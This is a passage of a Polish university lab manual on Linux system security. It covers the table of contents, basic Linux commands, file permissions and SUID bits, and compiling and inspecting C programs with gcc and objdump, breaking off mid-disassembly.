Bezpieczeństwo systemów i usług informatycznych

Wielkość: px
Rozpocząć pokaz od strony:

Download "Bezpieczeństwo systemów i usług informatycznych"

Transkrypt

1 Bezpieczeństwo systemów i usług informatycznych 1 KATEDRA INFORMATYKI, TECHNICZNEJ POLITECHNIKI WROCŁAWSKIEJ Raport serii Sprawozdania nr: / 2016 Na prawach rękopisu Bezpieczeństwo systemów i usług informatycznych Jędrzej UŁASIEWICZ Wrocław 2016 Słowa kluczowe: - Bezpieczeństwo systemów - Systemy rozproszone - System Linux

2 Bezpieczeństwo systemów i usług informatycznych 2

3 Bezpieczeństwo systemów i usług informatycznych 3 Spis treści 1. Podstawy posługiwania się systemem Linux Wstęp Uzyskiwanie pomocy Operowanie plikami i katalogami Operowanie procesami Zadania Kompilacja i uruchamianie programów Jak kod źródłowy przekształca się w proces Metoda elementarna użycie edytor gedit i kompilatora gcc Kompilator gcc Uruchamianie programów za pomocą narzędzia make Uruchamianie programów za pomocą narzędzia gdb Zadania Ustanawianie ograniczeń na użycie zasobów Testowanie i ustawianie limitu zasobów z poziomu shell Testowanie i ustawianie limitu zasobów z poziomu programu Ustanawianie ograniczeń na użycie zasobów dla użytkowników Zadania Tworzenie exploita typu przepełnienie stosu Wstęp Segmenty pamięci procesu, ramka stosu funkcji Przebieg wywołania i wykonania funkcji, przepełnienie bufora Wywołanie kontrolowanej awarii programu Zadania: Monitorowanie systemu Śledzenie procesów Pomiar obciążenia procesorów systemu Monitorowanie zajętości pamięci Monitorowanie działanie urządzeń wejścia wyjścia Monitorowanie dostępności wolnej przestrzeni w systemie plików Monitorowanie zasobów z poziomu programu Zadania Zapewnianie integralności systemu Funkcje skrótu Programy wykrywające intruzów Pakiet tripwire Zadania Rejestrator systemowy Demon rejestratora systemowego Program logger Dostęp do funkcji logowania z programu, funkcje interfejsowe Usługa rsyslog Rotacja plików rejestrowych Zadania Odczyt komunikatów z plików rejestrowych Zabezpieczanie dostępu do usług systemu i jego zasobów Funkcja crypt i jej zastosowanie Zadania Szyfrowanie danych i ich deszyfracja Szyfrowanie symetryczne i asymetryczne Podpis cyfrowy Narzędzie GnuPG Cyfrowe podpisywanie tekstu Serwery kluczy Interfejsy graficzne Zadania Konfigurowanie interfejsu sieciowego, testowanie aplikacji sieciowych Konfiguracja interfejsu sieciowego Menedżer konfiguracji sieciowych...94

4 Bezpieczeństwo systemów i usług informatycznych Testowanie działania komunikacji UDP i TCP Interfejs gniazd, komunikacja bezpołączeniowa Adresy gniazd i komunikacja bezpołączeniowa Zadania Interfejs gniazd, komunikacja połączeniowa Komunikacja połączeniowa Zadania Usługi sieciowe i ich konfiguracja Usługi sieciowe Superserwer sieciowy inetd Konfiguracja usług sieciowych w Kali Linux Zadania Eksploracja sieci Rozpoznawanie nazw hostów Uzyskiwanie danych o domenach - polecenie whois Program nmap Zenmap - interfejs graficzny do programu nmap Zadania Zapory sieciowe i zabezpieczenie sieci Informacje wstępne Program iptables Zadania Literatura...133

5 Bezpieczeństwo systemów i usług informatycznych 5 1. Podstawy posługiwania się systemem Linux 1.1 Wstęp Poniżej podane zostały podstawowe informacje umożliwiające posługiwanie się systemem w zakresie uruchamiana prostych programów napisanych w języku C. 1.2 Uzyskiwanie pomocy Polecenie Opis man polecenie/funkcja Uzyskanie informacji o poleceniu / funkcji narzędzie man info polecenie/funkcja Uzyskanie informacji o poleceniu / funkcji narzędzie info whatis słowo_kluczowe Uzyskanie krótkiej informacji o temacie danym w postaci słowa kluczowego apropos słowo_kluczowe Przeszukanie dokumentacji w poszukiwaniu słowa kluczowego file nazwa_pliku Uzyskanie informacji o typie podanego pliku Katalog W katalogu tym zawarta jest dokumentacja dla różnych programów, pakietów i /usr/share/doc modułów Internet Witryna Witryny dystrybucji Linuksa Debiana: Ubuntu : Narzędzie man Standardowym systemem przeglądania dokumentacji jest narzędzie man. Uruchamiamy je wpisując w terminalu polecenie: $man temat gdzie temat jest tekstem określającym temat, na który chcemy uzyskać informację. Przykładowo gdy chcemy uzyskać informację na temat funkcji fork piszemy: $man fork Dokumentacja pogrupowana jest tradycyjnie w działach, które podane są w poniższym zestawieniu: Dział Zawartość 1 Polecenia 2 Wywołania systemowe 3 Funkcje biblioteczne 4 Pliki specjalne katalog /dev 5 Formaty plików 6 Gry 7 Definicje, informacje różne 8 Administrowanie systemem 9 Wywołania jądra Wiedza o działach bywa przydatna gdyż nieraz jedna nazwa występuje w kilku działach. Wtedy man wywołujemy podając jako drugi parametr numer sekcji. $man numer_sekcji temat Na przykład: $man 3 open Przydatnym poleceniem jest opcja k $man -k słowo_kluczowe lub $apropos słowo_kluczowe Pozwala przeszukać manual i znaleźć tematy w których występuje dane słowo kluczowe.np.: $man -k open Do poruszania się w manualu stosujemy klawisze funkcyjne:

6 Bezpieczeństwo systemów i usług informatycznych 6 Linia do góry Linia w dół PgUp Strona do góry PgDn Strona w dół / temat Przeszukiwanie do przodu? temat Przeszukiwanie do tyłu Strona podręcznika składa się z kilku sekcji: nazwa (NAME), składnia (SYNOPSIS), konfiguracja (CONFIGURATION), opis (DESCRIPTION), opcje (OPTIONS), kod zakończenia (EXIT STATUS), wartość zwracana (RETURN VALUE), błędy (ERRORS), środowisko (ENVIRONMENT), pliki (FILES), wersje (VERSIONS), zgodne z (CONFORMING TO), uwagi, (NOTES), błędy (BUGS), przykład (EXAMPLE), autorzy (AUTHORS), zobacz także (SEE ALSO). Dokumentacja man dostępna jest w postaci HTML pod adresem : Narzędzia do przeglądania manuala: tkman przeglądanie w narzędziu Tkl hman przegladanie w trybie HTML Narzędzie apropos Narzędzie apropos wykonuje przeszukanie stron podręcznika man w poszukiwaniu podanego jako parametr słowa kluczowego. $apropos słowo_kluczowe czyli man k słowo_kluczowe Narzędzie whatis Narzędzie whatis wykonuje przeszukanie stron podręcznika man w poszukiwaniu podanego jako parametr słowa kluczowego. Następnie wyświetlana jest krótka informacja o danym poleceniu / funkcji. $whatis słowo_kluczowe Przykład: $whatis open open (1)- start a program on a new virtual terminal open (2)- open and possibly create a file or device open (3posix)- open a file Uzyskane strony podręcznika można następnie wyświetlić za pomocą narzędzia man Narzędzie info Dodatkowym systemem przeglądania dokumentacji jest narzędzie info. Uruchamiamy je wpisując w terminalu polecenie: $info temat Narzędzie info jest łatwiejsze w użyciu i zwykle zawiera bardziej aktualną informację Klucz --help Większość poleceń GNU może być uruchomiona z opcją - - help. Użycie tej opcji pozwala na wyświetlenie informacji o danym poleceniu.

7 Bezpieczeństwo systemów i usług informatycznych 7 Dokumentacja systemu Linux dostępna jest w Internecie. Można ją oglądać za pomocą wchodzącej w skład systemu przeglądarki Firefox. Ważniejsze źródła podane są poniżej: Dokumentacja man w postaci HTML: Materiały Linux Documentation Project: Machtelt Garrels, Introduction to Linux - Dokumentacja na temat dystrybucji UBUNTU: - Biran Ward, Jak działa Linux, Podręcznik administratora

8 Bezpieczeństwo systemów i usług informatycznych Operowanie plikami i katalogami Pliki i katalogi W systemie Linux prawie wszystkie zasoby są plikami. Dane i urządzenia są reprezentowane przez abstrakcję plików. Mechanizm plików pozwala na jednolity dostęp do zasobów tak lokalnych jak i zdalnych za pomocą poleceń i programów usługowych wydawanych z okienka terminala. Plik jest obiektem abstrakcyjnym, z którego można czytać i do którego można pisać. Oprócz zwykłych plików i katalogów w systemie plików widoczne są pliki specjalne. Zaliczamy do nich łącza symboliczne, kolejki FIFO, bloki pamięci, urządzenia blokowe i znakowe Atrybuty pliku Atrybuty pliku mogą być też odczytane poleceniem stat $stat plik.txt Plik: plik.txt rozmiar: bloków: 264 bloki I/O: 4096 zwykły plik Urządzenie: fd00h/64768d inody: dowiązań: 1 Dostęp: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Kontekst: unconfined_u:object_r:admin_home_t:s0 Dostęp: :29: Modyfikacja: :29: Zmiana: :29: Utworzenie: - Przykład 1-1 Testowanie statusu pliku polecenie stat Prawa dostępu i typ pliku zapisane są w maskach bitowych zapisanych w i-węźle odnoszącym się do pliku. Znaczenie bitów uzyskać można poleceniem: man 2 stat. $man 2 stat S_IFMT bit mask for the file type bit fields S_IFSOCK socket S_IFLNK symbolic link S_IFREG regular file S_IFBLK block device S_IFDIR directory S_IFCHR character device S_IFIFO FIFO S_ISUID set-user-id bit S_ISGID set-group-id bit (see below) S_ISVTX sticky bit (see below) S_IRWXU mask for file owner permissions S_IRUSR owner has read permission S_IWUSR owner has write permission S_IXUSR owner has execute permission S_IRWXG mask for group permissions S_IRGRP group has read permission S_IWGRP group has write permission S_IXGRP group has execute permission S_IRWXO mask for permissions for others (not in group) S_IROTH others have read permission S_IWOTH others have write permission S_IXOTH others have execute permission Przykład 1-2 uzyskanie flag dotyczących praw dostępu do plików Polecenia dotyczące katalogów Pliki zorganizowane są w katalogi. Katalog ma postać drzewa z wierzchołkiem oznaczonym znakiem /. Położenie określonego pliku w drzewie katalogów określa się za pomocą ścieżki. Rozróżnia się ścieżki absolutne i relatywne. Ścieżka absolutna podaje drogę jaką trzeba przejść od wierzchołka drzewa do danego pliku. Przykład ścieżki absolutnej to /home/juka/prog/hello.c. Ścieżka absolutna zaczyna się od znaku /. Ścieżka relatywna zaczyna się od

9 Bezpieczeństwo systemów i usług informatycznych 9 innego znaku niż /. Określa ona położenie pliku względem katalogu bieżącego. Po zarejestrowaniu się użytkownika w systemie katalogiem bieżącym jest jego katalog domowy. Może on być zmieniony na inny za pomocą polecenia cwd Uzyskiwanie nazwy katalogu bieżącego Nazwę katalogu bieżącego uzyskuje się pisząc polecenie pwd. Na przykład: $pwd /home/juka Listowanie zawartości katalogu Zawartość katalogu uzyskuje się wydając polecenie ls. Składnia polecenia jest następująca: ls [-l] [nazwa] Gdzie: l - Listowanie w długim formacie, wyświetlane są atrybuty pliku nazwa - Nazwa katalogu lub pliku Gdy nazwa określa pewien katalog to wyświetlona będzie jego zawartość. Gdy nazwa katalogu zostanie pominięta wyświetlana jest zawartość katalogu bieżącego. System umożliwia dostęp do plików w trybie odczytu, zapisu lub wykonania. Prawa te mogą być zdefiniowane dla właściciela pliku, grupy do której on należy i wszystkich innych użytkowników. u - Właściciela pliku (ang. user) g - Grupy (ang. group) o - Innych użytkowników (ang. other) Reprezentowane są jako trzy grupy trójek reprezentujących dopuszczalne prawa dostepu dla właściciela pliku, grupy i innych. Specjalne --- Właściciel --- Grupa --- Inni --- Setuid Read Read Read Sedgid Write Write Write Sticky Execute Execute Execute Tabela 1-1 Prawa dostepu do plików w systemie Linux Symboliczne oznaczenia praw dostępu do pliku dane są poniżej: Pierwszy znak r - Prawo odczytu (ang. read) Drugi znak w - Prawo zapisu (ang. write) Trzeci znak x - Prawo wykonania (ang. execute) s Ustawiony bit SUID lub SGID S Ustawiony bit SUID lub SGID (bez prawa wykonania) t Ustawiony bit Sticky Listowane są prawa dostępu, liczba dowiązań, właściciel pliku, grupa, wielkość, data utworzenia oraz nazwa. Wyświetlanie katalogu bieżącego ilustruje poniższy diagram. $ls -l -rwxrwxr-x 1 root root 7322 Nov fork3 -rw-rw-rw- 1 root root 886 Mar fork3.c właściciel inni właściciel wielkość nazwa typ grupa grupa liczba dowiązań data utworzenia Przykład 1-3 Listowanie zawartości katalogu bieżącego. Typy plików:

10 Bezpieczeństwo systemów i usług informatycznych 10 oznaczenie Opis - Regularny d Katalog (directory) b Plik specjalny urządzenie blokowe c Plik specjalny urządzenie znakowe p Plik specjalny łącze lub plik FIFO l Plik specjalny link symboliczny s Plik specjalny gniazdko Tabela 1-2 Typy plików w systemie Linux Prawa dostępu mogą być także reprezentowane w postaci ósemkowej: r: 4, w: 2, x: 1 Stąd: Ósemkowo Opis Literowo 1 tylko wykonanie --x tylko zapis -w zapis i wykonanie -wx tylko odczyt r odczyt i wykonanie r-x odczyt i zapis rw zapis, odczyt i wykonanie rwx Tabela 1-3 Prawa dostępu zapisane ósemkowo i literowo Oprócz pokazanych wyżej praw dostępu istnieją również trzy uprawnienia specjalne: s g t r w x r w x r w x s - bit SUID (oktalnie 04) g - bit SGID (oktalnie 02) t - bit sticky (oktalnie 01) Ustawienia bitów s i g ma znaczenie gdy pewien użytkownik (powiedzmy student) wykonuje program który jest własnością innego użytkownika (powiedzmy root). Powstaje wtedy problem w jaki sposób stosować prawa dostępu do innych plików, czy brać pod uwagę to kto wykonuje program (student) czy też kto jest właścielem pliku (root). O tym którą z opcji zastosować decydują właśnie bity s i g. Bit s Gdy bit s będzie ustawiony, efektywny identyfikator użytkownika EUID będzie taki jak właściciela pliku. Znaczy to że prawa dostępu będą takie jak właściciela pliku (root). Gdy bit s będzie wyzerowany, efektywny identyfikator użytkownika EUID będzie taki jak UID użytkownika. Znaczy to że prawa dostępu będą takie jak tego kto właśnie wykonuje program (student). Ustawienie bitu s nie daje efektu gdy plik nie ma prawa wykonania. W takim przypadku polecenie ls l wyswietla go jako S. Bit g Gdy bit g będzie ustawiony, efektywny identyfikator grupy EGID będzie taki jak grupy włąściela pliku. Znaczy to że prawa dostępu będą takie jak dla grupy właściciela pliku (root). Gdy bit g będzie wyzerowany, efektywny identyfikator grupy EGID będzie taki jak grupy użytkownika. Znaczy to że prawa dostępu będą takie jak grupy do której należy ten kto właśnie wykonuje program (grupa do której należy student). Ustawienie bitu s nie daje efektu gdy plik nie ma prawa wykonania. W takim przypadku polecenie ls l wyswietla go jako S. Bit t Ustawienie bitu t powoduje, że program po wykonaniu nie jest usuwany z pamieci. $ls -l -rwsrwsr-x 1 student studenci 8769 wrz 27 11:23 fstat Przykład 1-4 Plik z ustawionymi bitami s i g W notacji ósemkowej prawa dostepu byłyby

11 Bezpieczeństwo systemów i usług informatycznych Listowanie drzewa katalogów tree L poziom katalog Przykład $tree L 2 /etc Zmiana katalogu bieżącego Katalog bieżący zmienia się na inny za pomocą polecenia cd. Składnia polecenia jest następująca: cd nowy_katalog.gdy jako parametr podamy dwie kropki.. to przejdziemy do katalogu położonego o jeden poziom wyżej. Zmianę katalogu bieżącego ilustruje przykład. $pwd /home/juka $cd prog $pwd /home/juka/prog Przykład 1-5 Zmiana katalogu bieżącego Tworzenie nowego katalogu Nowy katalog tworzy się poleceniem mkdir. Polecenie to ma postać: mkdir nazwa_katalogu. Tworzenie nowego katalogu ilustruje przykład poniżej. $ls prog $mkdir src $ls prog src Przykład 1-6 Tworzenie nowego katalogu Kasowanie katalogu Katalog kasuje się poleceniem rmdir. Składnia polecenia rmdir jest następująca: rmdir nazwa_katalogu. Aby możliwe było usuniecie katalogu musi on być pusty. Kasowanie katalogu ilustruje przykład poniżej. $ls prog src $rmdir src $ls prog Przykład 1-7 Kasowanie katalogu Polecenia dotyczące plików Zmiana praw dostepu do pliku Zmiana praw dostępu do pliku może być wykonana za pomocą polecenia chmod chmod [opcje] uprawnienia plik Uprawnienia można nadać lub cofnąć dla odpowiedniej klasy użytkowników: Klasy użytkowników: u użytkownik (ang. user) g grupa ( ang. group) o inni ( ang. others) a wszyscy (ang. all) Zmiany uprawnień zapisuje się nastepująco: klasa_uzytkowników akcja uprawnienia Akcje mogą być następujące: + dodanie uprawnień z utrzymaniem pozostałych,

12 Bezpieczeństwo systemów i usług informatycznych 12 odebranie uprawnień z utrzymaniem pozostałych, = ustawienie uprawnień na takie jak będą podane Uprawnienia mogą być podane literowo lub ósemkowo. Zapis Odczyt Wykonanie Ustawienie SUID Ustawienie SGID Ustawienie sticky bit Ósemkowo Literowo r w x s S t Tabela 1-4 Reprezentacja uprawnień w poleceniu chmod chmod u+x plik Dodanie praw wykonania dla właściciela pliku chmod u+r,g+x plik Dodanie prawa odczytu właścielowi i dodanie praw wykonania grupie chmod o-x plik Odebranie praw wykonania dla innych uzytkowników chmod go=rx plik Ustawienie praw odczytu i wykonania dla grupy i innyc chmod 777 plik Ustawienie praw odczytu, zapisu i wykonania dla właściela, grupy i innych chmod 4711 plik Ustawienie bitu SUID dla innych, praw rwx dla właściciela, praw x dla grupy Tabela 1-5 Przykłady użycia polecenia chmod Zmiana właściciela pliku Zmiana właściciela pliku może być wykonana za pomocą polecenia chown ale wyłącznie przez administratora. chown [opcje] właściciel plik Przykład: #chown R student /home/student/wirtual Zmiana właściciela podkatalogu wirtual i wszystkich plików poniżej na student Zmiana grupy do której nalezy plik Zmiana grupy właściela pliku może być wykonana za pomocą polecenia chgrp chgrp [opcje] grupa plik Przykład: #chgrp R gstudent /home/student/wirtual Zmiana grupy podkatalogu wirtual i wszystkich plików poniżej na gstudent Kopiowanie pliku Pliki kopiuje się za pomocą polecenia cp. Składnia polecenia cp jest następująca: cp [ ifr] plik_źródłowy plik_docelowy cp [ ifr] plik_źródłowy katalog_docelowy Gdzie: i - Żądanie potwierdzenia gdy plik docelowy może być nadpisany. f - Bezwarunkowe skopiowanie pliku. R - Gdy plik źródłowy jest katalogiem to będzie skopiowany z podkatalogami. Kopiowanie plików ilustruje przykład poniżej.

13 Bezpieczeństwo systemów i usług informatycznych 13 $ls nowy.txt prog $ls prog $ $cp nowy.txt prog $ls prog nowy.txt Przykład 1-8 Kopiowanie pliku nowy.txt z katalogu bieżącego do katalogu prog Zmiana nazwy pliku Nazwę pliku zmienia się za pomocą polecenia mv. Składnia polecenia mv dana jest poniżej: mv [ if] stara_nazwa nowa_nazwa mv [ if] nazwa_pliku katalog_docelowy Gdzie: i - Żądanie potwierdzenia gdy plik docelowy może być nadpisany. f - Bezwarunkowe skopiowanie pliku. Zmianę nazwy plików ilustruje przykład poniżej. $ls stary.txt $mv stary.txt nowy.txt $ls nowy.txt Przykład 1-9 Zmiana nazwy pliku stary.txt na nowy.txt Kasowanie pliku Pliki kasuje się za pomocą polecenia rm. Składnia polecenia rm jest następująca: rm [-Rfi] nazwa Gdzie: i - Żądanie potwierdzenia przed usunięciem pliku. f - Bezwarunkowe kasowanie pliku. R - Gdy nazwa jest katalogiem to kasowanie zawartości wraz z podkatalogami. Kasowanie nazwy pliku ilustruje przykład poniżej. $ls prog nowy.txt $rm nowy.txt $ls prog Przykład 1-10 Kasowanie pliku nowy.txt Listowanie zawartości pliku Zawartość pliku tekstowego listuje się za pomocą poleceń: more nazwa_pliku, less nazwa_pliku, cat nazwa_pliku. cat nazwa_pliku Można do tego celu użyć też innych narzędzi jak edytor vi, edytor gedit lub wbudowany edytor programu Midnight Commander Szukanie pliku locate wzorzec find ścieżka wzorzec Przykład find /etc passwd

14 Bezpieczeństwo systemów i usług informatycznych Operowanie procesami Wyświetlanie uruchomionych procesów Polecenie ps Polecenie ps pozwala uzyskać informacje o uruchomionych procesach. Posiada ono wiele przełączników. ps - wyświetlane są procesy o tym samym EUID co proces konsoli. ps - ef - wyświetlanie wszystkich procesów w długim formacie. ps - ef grep nazwa - sprawdzanie czy wśród procesów istnieje proces nazwa Polecenie top Pozwala uzyskać informacje o procesach sortując je według czasu zużycia procesora. Lista odświeżana jest c0 5 sekund. Poniżej podano przykład wywołania polecenia top. $top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1831 juka m 16m S :07.64 gnome-system- 951 root m 10m S :41.70 Xorg 1 root S :00.58 init Przykład 1-11 Użycie polecenia top Symbol Opis PID Identyfikator procesu USER Nazwa efektywnego użytkownika PR Priorytet procesu NI Wartość parametru nice VIRT Całkowita wielkość pamięci wirtualnej użytej przez proces RES Wielkość pamięci rezydentnej (nie podlegającej wymianie) w kb SHR Wielkość obszaru pamięci dzielonej użytej przez proces S Stan procesu: R running, D uninteruptible running, S sleeping, T traced or stoped, Z - zombie %CPU Użycie czasu procesora w % %MEM Użycie pamięci fizycznej w % TIME+ Skumulowany czas procesora zużyty od startu procesu COMMAND Nazwa procesu Tab. 1-1 Znaczenie parametrów polecenia top Polecenie uptime Polecenie wyświetla czas bieżący, czas pracy systemu, liczbę użytkowników i obiążenie systemu w ostatnich 1, 5 i 15 minutach. $top 18:26:47 up 1:14, 4 users, load average: 0.32, 0.25, 0.19 Przykład 1-12 Użycie polecenia top Polecenie pstree Polecenie wyświetla drzewo procesów. Można obserwować zależność procesów typu macierzysty potomny Monitor systemu W systemie Ubuntu dostępny jest monitor systemu który wyświetla informacje dotyczące aktywnych procesów. Uruchomienie następuje poprzez: Wybór opcji System / Administracja / Monitor systemu Wpisanie w terminalu polecenia: gnome-system-monitor

15 Bezpieczeństwo systemów i usług informatycznych 15 Przykład 1-13 Użycie polecenia monitora systemu Kasowanie procesów Procesy kasuje się poleceniem kill. Składnia polecenia jest nastepująca: kill [-signal -s signal] pid Gdzie: signal numer lub nazwa sygnału pid - pid procesu który należy skasować Nazwa sygnału Numer Opis SIGTERM 15 Zakończenie procesu w uporządkowany sposób SIGINT 2 Przerwanie procesu, sygnał ten może być zignorowany SIGKILL 9 Przerwanie procesu, sygnał ten nie może być zignorowany SIGHUP 1 Używane w odniesieniu do demonów, powoduje powtórne wczytanie pliku konfiguracyjnego. Tab. 1-2 Częściej używane sygnały 1.5 Zadania Uzyskiwanie informacji o stanie systemu Zobacz jakie procesy i wątki wykonywane są aktualnie w systemie Uzyskiwanie informacji o obciążeniu systemu Używając polecenia top zbadaj który z procesów najbardziej obciąża procesor Archiwizacja i kopiowania plików W systemie pomocy znajdź opis archiwizatora tar. Używając programu tar spakuj wszystkie pliki zawarte w katalogu bieżącym do pojedynczego archiwum o nazwie programy.tar (polecenie: tar cvf programy.tar *). Następnie zamontuj pendrive i skopiuj tam archiwum. Dalej utwórz katalog nowy i skopiuj do niego archiwum z dyskietki i rozpakuj do postaci pojedynczych plików (polecenie: tar xvf programy.tar).

16 Bezpieczeństwo systemów i usług informatycznych Kompilacja i uruchamianie programów 2.1 Jak kod źródłowy przekształca się w proces Kod aplikacji tworzony jest zazwyczaj w języku wysokiego poziomu, my posługiwać się będziemy językiem C. W języku wysokiego poziomu tworzy się tak zwany kod źródłowy który po zapisaniu będzie plikiem z programem źródłowym. Plik źródłowy przetwarzany jest następnie przez kompilator do tak zwanego programu wykonywalnego. Jeżeli procesor (i ewentualnie system operacyjny) na którym kompilowany jest program jest inny niż ten na którym jest wykonywany to kompilator nazywa się kompilatorem skrośnym (ang. cross compiler). Następnie program wykonywalny przekształcany jest w wykonujący się proces, co wykonywane jest przez program ładujący systemu operacyjnego (ang. loader). Proces tworzenia i wykonywania programu pokazany jest na poniższym Rys Program wykonywalny może się wykonać na tej samej maszynie na której został utworzony, lub tak jak się to dzieje w systemach wbudowanych, jest on przesyłany do systemu docelowego i tam dopiero wykonany. edytor kod źródlowy opcje kompilatora System operacyjny program ladujący kompilator proces inne pliki obiektowe plik obiektowy Biblioteki kopiowanie program lączący pamięć operacyjna plik wykonywalny Wytworzenie programu Wykonanie programu Rys. 2-1 Przebieg procesu wytworzenia i wykonania programu Przetworzenie kodu źródłowego w wykonywany proces odbywa się w kilku etapach. Najważniejsze z nich to kompilacja, łączenie i ładowanie programu Kompilacja Podstawowym narzędziem przekształcającym kod źródłowy zrozumiały dla procesora w kod wykonywalny jest kompilator. Celem kompilacji jest transformacja kodu źródłowego będącego zapisem algorytmu w języku wysokiego poziomu (który nie może być wykonany przez procesor) na kod maszynowy danego procesora. Kompilacja przebiega w kilku etapach i prowadzi ona do wytworzenia tak zwanego pliku obiektowego. Plik obiektowy zawiera kod maszynowy właściwy dla procesora na którym kod będzie wykonywany i informacje dodatkowe. Typowy plik obiektowy składa się z takich części jak: nagłówek, kod maszynowy, dane, tablica symboli, informacje o relokacji, informacje dla programu uruchomieniowego (ang. debugger). Na etapie kompilacji nie sposób określić pod jaki adres w pamięci należy załadować utworzony program, gdyż kompilator nie posiada informacji o stanie pamięci procesora w chwili wykonania programu. Stąd pliki obiektowe i wykonywalne zawierają tak zwaną tablicę relokacji (ang. relocation table). Składa się ona z pozycji, z których każda zawiera wskaźnik do adresu w kodzie obiektowym, który musi być zmodyfikowany w procesie ładowania programu do pamięci operacyjnej. W systemie Linux plik obiektowy jak i wykonywalny tworzony jest w tak zwanym formacie ELF (ang. Executable and Linkable Format). Informacje o plikach w formacie ELF uzyskać można za pomocą narzędzi Linuksowych takich jak readelf i objdump. Istnieje wiele kompilatorów języka C, ale my używać będziemy standardowego narzędzia kompilacyjnego systemu Linux czyli kompilatora gcc Łączenie Plik obiektowy zawiera tłumaczenie kodu źródłowego na instrukcje kodu maszynowego i dane na których te instrukcje operują, ale nie jest jeszcze kompletnym programem gdyż nie zawiera bibliotek i być może innych segmentów programu. Kompletny program wykonywalny powstanie na etapie łączenia. Operację łączenia wykonuje program nazywany konsolidatorem lub linkerem (ang. linker). Konsolidator dołącza programu głównego inne pliki obiektowe i biblioteki w wyniku czego powstaje program wykonywalny. Jest on także w formacie ELF. W systemie Linux rolę linkera pełni program ld.

17 Bezpieczeństwo systemów i usług informatycznych Ładowanie programu Plik wykonywalny (nazywany też plikiem binarnym) kopiowany jest następnie w miejsce przeznaczenia. Może to być inny folder w tym samym komputerze, inny komputer lub też system wbudowany. Kolejną czynnością która musi być wykonana jest utworzenie procesu na podstawie pliku wykonywalnego. Czynność tę wykonuje program ładujący (ang. loader). Funkcje programu ładującego to: Weryfikacja pozwoleń, wymagań na zasoby Skopiowanie segmentów programu do pamięci operacyjnej Skopiowanie argumentów linii poleceń na stos Inicjalizacja rejestrów procesora Przekazanie sterowania do punktu startowego programu Po wykonaniu powyższych czynności program zostaje przekształcony w proces i przystępuje do wykonywania swojej funkcji. W dalszej części tego rozdziału przedstawimy sposoby kompilacji programów i opiszemy stosowane do tego celu narzędzia. 2.2 Metoda elementarna użycie edytor gedit i kompilatora gcc Najprostszą metodą tworzenia i uruchamiania programów w systemie Linux jest użycie systemowego edytora gedit i kompilatora gcc uruchamianego w trybie wsadowym. Aby uruchomić edytor gedit należy wybrać opcję Text Editor z głównego menu Applications / Accessories jak pokazuje poniższy przykład. Przykład 2-1 Uruchomienie edytora gedit Następnie gdy edytor się zgłosi wybieramy opcję File / New i otwiera się okno edycyjne. W oknie edycyjnym wpisujemy tekst programu. Może to być najprostszy program wyprowadzający na konsolę powitanie tak jak w przykładzie poniżej. Przykład 2-2 Edycja programu hello.c Po wprowadzeniu tekstu wybieramy opcję edytora File / Save As. Pojawi się okienko o nazwie Save As... w którym w okienku Name wpisujemy nazwę pliku (hello.c) i ewentualnie wybieramy folder roboczy wybierając go w okienku Save i folder tak jak pokazuje to przykład Przykład 2-2. Gdy plik z programem jest już zapamiętany wtedy

18 Bezpieczeństwo systemów i usług informatycznych 18 uruchamiamy terminal wybierając z głównego menu opcję Accessories / Terminal (patrz Przykład 2-1). Gdy terminal się zgłosi zmieniamy folder bieżący na ten folder w którym zapisaliśmy nasz program. W naszym przykładzie będzie to folder Pulpit wpisujemy więc polecenie: $cd Pulpit Następnie sprawdzamy czy w folderze znajduje się nasz plik źródłowy wpisując polecenie: $ls Gdy zostanie wyświetlona zawartość folderu Pulpit i zawierał on będzie nasz plik hello.c z programem źródłowym kompilujemy program wpisując polecenie: $gcc hello.c o hello gcc jest tu nazwą kompilatora, hello.c nazwą pliku źródłowego z programem, opcja o hello specyfikuje nazwę pliku wykonywalnego. Gdy kompilacja wykona się można sprawdzić obecność pliku wykonywalnego który powinien być utworzony przez kompilator wykonując ponownie polecenie ls. Gdy zobaczymy że w folderze Pulpit pojawił się plik hello możemy go uruchomić wpisując polecenie: $./hello Otrzymamy wynik jak pokazano poniżej. Przykład 2-1 Kompilacja i uruchomienie programu hello.c W systemie Linux istnieje pożyteczne polecenie o nazwie file które pozwala na zbadanie rodzaju pliku który z jakichś względów nas interesuje. Po wpisaniu polecenia file podajemy nazwę testowanego pliku. Zastosowanie programu file do otrzymanego wcześniej programu hello daje wynik jak poniżej. $file hello hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux , not stripped Przykład 2-2 Ilustracja działania programu file dla pliku wykonywalnego Widzimy że program hello jest plikiem wykonywalnym w formacie ELF dla procesora Intel Program źródłowy można skompilować do postaci pliku obiektowego który następnie będzie konsolidowany. Robi się to korzystając z opcji c kompilatora gcc. Aby skompilować program hello.c do pliku obiektowego stosujemy polecenie: gcc hello.c c o hello.o Plik hello.o jest plikiem obiektowym. Gdy zastosujemy do tego pliku polecenie file otrzymamy: $file hello hello.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped Przykład 2-3 Ilustracja działania programu file dla pliku obiektowego O pliku obiektowym można uzyskać różne informacje posługując się programem objdump. Gdy wykonamy go z opcją x otrzymamy wiele informacji o zawartości pliku obiektowego hello.o co pokazuje poniższy przykład.

19 Bezpieczeństwo systemów i usług informatycznych 19 $objdump x hello.o hello.o: file format elf32-i386 architecture: i386, flags 0x : HAS_RELOC, HAS_SYMS start address 0x Sections: Idx Name Size VMA LMA File off Algn 0.text c **2 1.data **2 2.bss **2 3.rodata d **0 4.comment d d 2**0 5.note.GNU-stack a 2**0 SYMBOL TABLE: RELOCATION RECORDS FOR [.text]: OFFSET TYPE VALUE Przykład 2-4 Ilustracja działania programu objdump dla pliku obiektowego Z powyższego przykładu widać jakie informacje zawiera plik obiektowy. Są to nagłówki, segmenty, tablica symboli i dane do relokacji. Ważniejsze segmenty to:.text segment kodu, zawiera instrukcje.data segment danych zainicjowanych, dane którym nadano wartości początkowe.bss segment danych nie zainicjowanych, dane którym nie nadano wartości początkowych.rodata segment danych zawierających stałe (tylko do odczytu).comment komentarze.note.gnu-stack informacja że potrzebny będzie stos Za pomocą polecenia objdump z opcją d można uzyskać kod assemblera zawarty w segmencie kodu co pokazuje poniższy przykład. objdump d hello.o <main>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 10 sub $0x10,%esp 9: c movl $0x0,(%esp) 10: e8 fc ff ff ff call 11 <main+0x11> 15: b mov $0x0,%eax 1a: c9 leave 